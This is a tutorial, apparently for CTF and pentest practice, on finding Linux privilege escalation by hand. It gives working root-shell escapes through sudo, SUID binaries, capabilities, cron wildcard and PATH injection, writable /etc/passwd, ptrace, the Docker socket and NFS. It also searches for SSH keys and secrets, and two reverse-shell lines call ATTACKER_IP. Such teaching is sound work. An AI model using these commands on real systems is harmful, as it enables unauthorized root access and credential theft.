LinPEAS Finds Nothing? Here’s How to Find Privilege Escalation Manually
Hey friend, you ran LinPEAS on a Linux box, it scrolled through hundreds of lines, found some “potential” stuff, but nothing that actually gives you root. Annoying, right?
LinPEAS is great, but it’s not perfect. It can miss things, especially on hardened machines or boxes deliberately designed to evade automated tools. That’s when you need manual enumeration.
Let me show you exactly what LinPEAS misses and how to manually find privilege escalation on Linux.
Why LinPEAS Misses Things
LinPEAS automates what it can, but:
- It can’t think creatively about exploit chains
- It misses misconfigurations specific to the box
- It doesn’t analyze custom applications
- It can’t find logic flaws in custom scripts
- Some boxes deliberately hide things from LinPEAS
Manual Privilege Escalation Checklist
Step 1: Check Current Privileges
# Who am I?
id
whoami
# What groups?
groups
# Can I sudo anything?
sudo -l
Common sudo misconfigurations LinPEAS might flag but not explain:
# If you see:
(root) NOPASSWD: /usr/bin/man
# Exploit: sudo man man
# Press !sh to escape to root shell
(root) NOPASSWD: /usr/bin/vim
# Exploit: sudo vim -c '!sh'
(root) NOPASSWD: /usr/bin/find
# Exploit: sudo find /bin -name bash -exec /bin/bash \;
(root) NOPASSWD: /usr/bin/awk
# Exploit: sudo awk 'BEGIN {system("/bin/bash")}'
(root) NOPASSWD: /usr/bin/python*
# Exploit: sudo python -c 'import os; os.system("/bin/bash")'
Step 2: Enumerate SUID Binaries
# Find all SUID binaries
find / -perm -4000 2>/dev/null
# Or use this for more detail
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
Then check each binary against GTFOBins:
GTFOBins – https://gtfobins.github.io/
Common SUID exploits:
# If /usr/bin/passwd has SUID (unusual)
/usr/bin/passwd
# If /bin/bash has SUID
/bin/bash -p
# If /usr/bin/env has SUID
/usr/bin/env /bin/bash -p
# If /usr/bin/find has SUID
find . -exec /bin/bash -p \; -quit
# If cp, mv, or tar has SUID - copy /etc/shadow
Step 3: Check Capabilities
Capabilities are like fine-grained permissions. LinPEAS shows them, but here’s what to look for:
# Check capabilities
getcap -r / 2>/dev/null
Dangerous capabilities:
# cap_setuid+ep - Allows changing UID
# Example: if /usr/bin/python2.7 has this
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# cap_net_raw+ep - Can create raw sockets (network attacks)
# cap_dac_read_search+ep - Can read any file
Step 4: Check Cron Jobs
LinPEAS shows cron jobs, but doesn’t always analyze them properly.
# View system cron jobs
ls -la /etc/cron*
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
What to look for:
- Scripts you can modify – If cron runs a script you can write to
- Wildcards – Tar wildcard exploits
- PATH injection – If cron uses relative paths
Example – Wildcard exploit:
# Cron job runs: tar -cf /backup/backup.tar /var/www/*
# In /var/www, create these files:
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=sh shell.sh'
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > shell.sh
# Next time cron runs, you get a shell
Example – PATH injection:
# Cron job runs script that calls 'run_backup'
# Without full path: /usr/local/bin/run_backup
# Create malicious script
echo '#!/bin/bash' > /tmp/run_backup
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /tmp/run_backup
chmod +x /tmp/run_backup
# If cron PATH includes /tmp, you win
Step 5: Check Writable Paths
# Find world-writable directories
find / -writable -type d 2>/dev/null
# Find world-writable files
find / -writable -type f 2>/dev/null
What to check:
- /etc/passwd – If writable, add root user
- /etc/shadow – If writable, modify root hash
- /etc/sudoers – If writable, give yourself sudo
- Scripts run by root – Modify to add backdoor
Example – /etc/passwd writable:
# Generate password hash
openssl passwd newpassword
# Add root user
echo 'hacker:hashedpassword:0:0:root:/root:/bin/bash' >> /etc/passwd
# Switch to hacker user
su hacker
Step 6: Find Hidden Files and Directories
LinPEAS doesn’t always dig deep into hidden files.
# Find all hidden files
find / -name ".*" -type f 2>/dev/null
# Find all hidden directories
find / -name ".*" -type d 2>/dev/null
# Check home directories thoroughly
ls -la /home/*/
ls -la /root/ 2>/dev/null
# Check for SSH keys
find / -name id_rsa 2>/dev/null
find / -name .ssh -type d 2>/dev/null
# Check for history files
find / -name .*_history 2>/dev/null
cat ~/.bash_history
What to look for:
- .ssh/id_rsa – Private SSH keys
- .bash_history – Command history with passwords
- .mysql_history – MySQL commands with credentials
- .git – Git repositories with config files
- .env – Environment files with secrets
Step 7: Check Running Processes
# View running processes
ps aux
ps -ef
# Look for processes running as root
ps aux | grep root
# Check for interesting processes
ps aux | grep -E 'mysql|apache|nginx|ftp|ssh|python|perl|ruby'
What to look for:
- Processes running as root you can interact with
- Custom scripts or services
- Database processes with possible credentials
Process injection:
# If you find a process with debug mode enabled
# ptrace scope wide open
cat /proc/sys/kernel/yama/ptrace_scope
# If 0, you can inject into processes
gdb -p
# In gdb:
call system("/bin/bash")
Step 8: Check Installed Packages
# Check installed packages
dpkg -l
rpm -qa
# Check for compilers
which gcc g++ cc make cmake
# Check for scripting languages
which python python3 perl ruby php node
Why this matters:
- gcc installed – You can compile kernel exploits
- python/perl/ruby – More reverse shell options
- Specific versions – Kernel or package exploits
Step 9: Check Kernel Version
# Kernel version
uname -a
cat /proc/version
cat /etc/issue
Search for kernel exploits:
# Searchsploit kernel exploits
searchsploit linux kernel
# Common kernel exploits:
# Dirty COW (CVE-2016-5195) - kernel 2.x - 4.x
# Dirty Pipe (CVE-2022-0847) - kernel 5.8 - 5.16
Step 10: Check Docker and Container Breakout
If you’re in a container:
# Check if in container
ls -la /
cat /proc/1/cgroup
env
Docker escape techniques:
# Check for Docker socket
ls -la /var/run/docker.sock
# If mounted, you can control docker
docker -H unix:///var/run/docker.sock run -v /:/mnt -it ubuntu chroot /mnt bash
# Privileged container?
fdisk -l
# If you can see host disks, mount them
# Check for capabilities
capsh --print
Step 11: Check Network Configuration
# Check network config
ip addr
ifconfig
route -n
cat /etc/resolv.conf
# Check listening ports
netstat -tulpn
ss -tulpn
# Check for internal networks
arp -a
Why this matters:
- Internal services not exposed externally
- Other machines on network
- Potential pivoting opportunities
Step 12: Check for NFS Shares
# Check NFS shares
showmount -e localhost
showmount -e
NFS no_root_squash exploit:
# On attacker machine, mount the share
mkdir /tmp/nfs
mount -t nfs :/share /tmp/nfs
# Create SUID binary
cd /tmp/nfs
cp /bin/bash .
chmod +s bash
# On target, run the SUID bash
./bash -p
Step 13: Manual Privilege Escalation Script
Create this script for manual enumeration:
#!/bin/bash
echo "=== User Info ==="
id
whoami
groups
echo -e "\n=== Sudo ==="
sudo -l 2>/dev/null
echo -e "\n=== SUID ==="
find / -perm -4000 2>/dev/null
echo -e "\n=== Capabilities ==="
getcap -r / 2>/dev/null
echo -e "\n=== Cron Jobs ==="
ls -la /etc/cron* 2>/dev/null
cat /etc/crontab 2>/dev/null
echo -e "\n=== Writable Files ==="
find / -writable -type f 2>/dev/null | head -50
echo -e "\n=== Writable Directories ==="
find / -writable -type d 2>/dev/null | head -20
echo -e "\n=== Hidden Files ==="
find / -name ".*" -type f 2>/dev/null | head -50
echo -e "\n=== SSH Keys ==="
find / -name id_rsa 2>/dev/null
echo -e "\n=== Processes ==="
ps aux | grep root
echo -e "\n=== Kernel ==="
uname -a
cat /proc/version
echo -e "\n=== Container? ==="
ls -la /
cat /proc/1/cgroup
Bottom Line
LinPEAS is a starting point, not the end. When it finds nothing:
- Check sudo -l for misconfigurations
- Enumerate SUID binaries manually
- Check capabilities
- Read cron job scripts yourself
- Find writable files manually
- Dig into hidden files
- Check process list for root processes
- Look at network services
- Try kernel exploits if version is old
Manual enumeration takes longer but finds what automated tools miss. Now go get that root shell.
